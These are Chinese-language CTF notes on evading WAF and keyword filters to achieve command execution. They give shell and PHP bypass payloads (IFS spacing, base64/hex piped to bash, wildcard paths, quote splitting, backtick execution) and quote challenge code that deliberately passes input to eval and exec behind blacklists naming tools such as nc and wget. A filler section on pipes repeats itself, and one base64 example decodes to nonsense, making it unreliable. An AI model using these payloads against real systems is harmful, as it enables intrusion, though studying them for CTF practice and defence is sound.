RCE-WAF绕过

WAF绕过的目标是绕过WAF的规则和过滤器,使攻击可以成功地通过WAF并达到预期的攻击效果。以下是一些常见的WAF绕过技术:

  1. 编码绕过:通过对攻击负载进行编码或混淆,以绕过WAF的特征匹配。例如,使用URL编码、Unicode编码、Base64编码等对攻击载荷进行编码,以使其在WAF检测时无法被正确识别。
  2. 分割绕过:将攻击负载拆分为多个部分,以绕过WAF的完整性检查。例如,将SQL注入语句的关键字拆分为多个部分,或将恶意代码分散在多个HTTP请求中,以避免被WAF完全检测到。
  3. 混合绕过:结合多个绕过技术,以增加绕过成功的可能性。例如,将编码和分割技术结合使用,同时使用多个编码方式对攻击负载进行混淆。
  4. 特殊字符绕过:利用一些特殊字符或Unicode字符的变形来绕过WAF的规则。例如,使用不同大小写的字符、宽字符、特殊字符的变形等。
  5. HTTP方法绕过:尝试使用非标准的HTTP方法来绕过WAF的规则。例如,使用PROPFIND、OPTIONS等非常见的HTTP方法进行攻击。
  6. 隧道绕过:通过将攻击负载封装在其他协议或通信通道中,以绕过WAF的检测。例如,使用HTTP隧道技术将攻击负载伪装成合法的HTTP流量。

1,空格绕过

1
2
3
4
5
6
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
{cat,flag.txt}

2,变量拼接方法

1
2
3
4
这种方法还是非常常见的,就是通过拆分和拼接的方式,可以绕过对命令和对文件名的正则匹配,达到执行命令的目的
但这种方式有很大的弊端就是当分号被过滤掉之后就很难使用了:
ls -> a=l;b=s;$a$b
cat /flag -> a=ag;b=fl;cat /$b$a;

3,编码绕过

1
2
3
4
5
6
7
8
这种方法网上写的非常多,但我觉得实际能用的情况其实挺少的,而且构造它也相对比较麻烦,这里就简单推荐两种方法:
1.base64
echo 'cat' | base64 --> Y2F0Cg==
那我们就可以构造cat /flag为:
`echo 'Y2F0Cg==' | base64 -d` /flag
2.hex
echo 77686F616D69 | xxd -r -p | bash
其中77686F616D69是whoami的hex编码

4,通配符绕过

1
2
3
4
5
6
7
这种方式主要是针对文件名那几个字符被过滤时可以使用,就是用?或者*来代替具体的字符
但一定注意这是针对文件名的哈,命令是肯定不能直接这么用的,但linux下命令其实也是文件
比如说像cat就对应文件/bin/cat,ls就对应文件/bin/ls等等,我们也可以用类似的方法进行构造:
ls -> /bin/l?
cat -> /bin/c??
像preg_match("/.*f.*l.*a.*g.*/", $ip)这种flag字样都是被过滤了的,我们用通配符就很好用:
cat /flag -> /bin/ca? /????

5,内联注入

使用内联(就是将反引号内命令的输出作为输入执行)

6,管道搭配注入

在Linux中,bashsh都是Shell解释器。Shell是一种命令行解释器,允许用户与操作系统交互。bash(Bourne Again SHell)是默认的Shell解释器,广泛用于Linux系统。而sh(Bourne Shell)是一种更简单的Shell解释器,也常被用作脚本的解释器。

管道(|)是一种用于将一个命令的输出作为另一个命令的输入的特殊符号。通过使用管道,可以将多个命令链接在一起,实现更复杂的操作。

以下是一个示例,展示了如何使用bashsh与管道(|)搭配使用:

假设我们有一个名为file.txt的文本文件,其中包含一些文本行。我们想要统计该文件中包含特定字符串的行数。

使用bash

1
$ cat file.txt | grep "specific string" | wc -l

这个命令会将file.txt的内容传递给grep命令,grep命令会过滤出包含”specific string”的行,然后将结果传递给wc -l命令,wc -l命令会计算行数并输出结果。

使用sh

1
$ cat file.txt | grep "specific string" | wc -l

bash相同,这个命令也会将file.txt的内容传递给grep命令,grep命令会过滤出包含”specific string”的行,然后将结果传递给wc -l命令,wc -l命令会计算行数并输出结果。

无论是bash还是sh,管道都是一种非常有用的工具,可以将多个命令组合在一起,实现更复杂的操作。

1
$ echo "cHJpbnQgJy92YXIvc3lzL2Jpbi9iYXNoIHNjaGVtZXMvaW5jbHVkaW5nLmJpbicK" | base64 -d | bash

7,无字母绕过

老生常谈的无字母数字 Webshell 总结

所谓无字母数字 Webshell,其基本原型就是对以下代码的绕过:

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

这段代码限制了我们传入 shell 参数中的值不能存在字母和数字。

下面我们来说说答题的思路:

首先,代码确实是限制了我们的 Webshell 不能出现任何字母和数字,但是并没有限制除了字母和数字以外的其他字符。所以我们的思路是,将非字母数字的字符经过各种转换,最后能构造出a-z0-9中的任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,比如 “assert”、”system”、”file_put_contents”、”call_user_func” 等危险函数然后动态执行即可。

说道 PHP 代码动态执行我们要注意的是,在 PHP 5 中 assert() 是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码,此时它可以起到替代 eval() 的作用。但是在 PHP 7 中,assert() 不再是函数了,而是变成了一个和 eval() 一样的语言结构,此时便和 eval() 一样不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用 file_put_contents() 函数,同样可以用来 Getshell 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

wp in here

8,linux命令取反绕过

例题:[SWPUCTF 2021 新生赛]finalrce

PHP5无法使用取反绕过

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url); # `eval` 用于执行字符串中的 PHP 代码,而 `exec` 用于执行外部系统命令
}
}

绕过方式:

1
2
3
4
5
6
7
8
root@ecs-u6Su0XJ3Y:~# ls
mysql snap sqlmap
root@ecs-u6Su0XJ3Y:~# l\s
mysql snap sqlmap
root@ecs-u6Su0XJ3Y:~# l's'
mysql snap sqlmap
root@ecs-u6Su0XJ3Y:~# l"s"
mysql snap sqlmap

9,使用一些方法绕过

[UUCTF 2022 新生赛]ez_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
居然都不输入参数,可恶!!!!!!!!!

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}

payload:?code=printf(`c\at /fffffffffflagafag`);

本题使用PHP5,所以无法使用取反绕过,但在php中``可以会被解析为调用系统命令